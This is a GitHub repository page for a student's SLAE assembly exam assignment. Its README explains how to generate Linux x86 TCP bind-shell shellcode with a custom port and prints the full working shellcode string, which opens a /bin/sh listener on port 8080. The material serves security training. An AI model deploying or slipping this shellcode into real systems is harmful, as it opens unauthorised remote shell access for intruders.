Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
README.md
compile.sh
shell-bind-tcp.c
shell_bind_tcp.nasm
shell_bind_tcp.template
shellcode.c
wrapper.sh

README.md

SLAE

Repository for the SLAE exam
Student SLAE-891
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Assignment 1

Shell_Bind_TCP Shellcode

You can customize the listening port and generate the TCP bind shellcode with the following command:

./wrapper.sh
Usage: ./wrapper.sh <port_number> <pattern> <template_file>
./wrapper.sh 8080 PORT ./shell_bind_tcp.template 
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x66\x68\x1f\x90\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb\xf7\xe3\x52\x52\x57\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"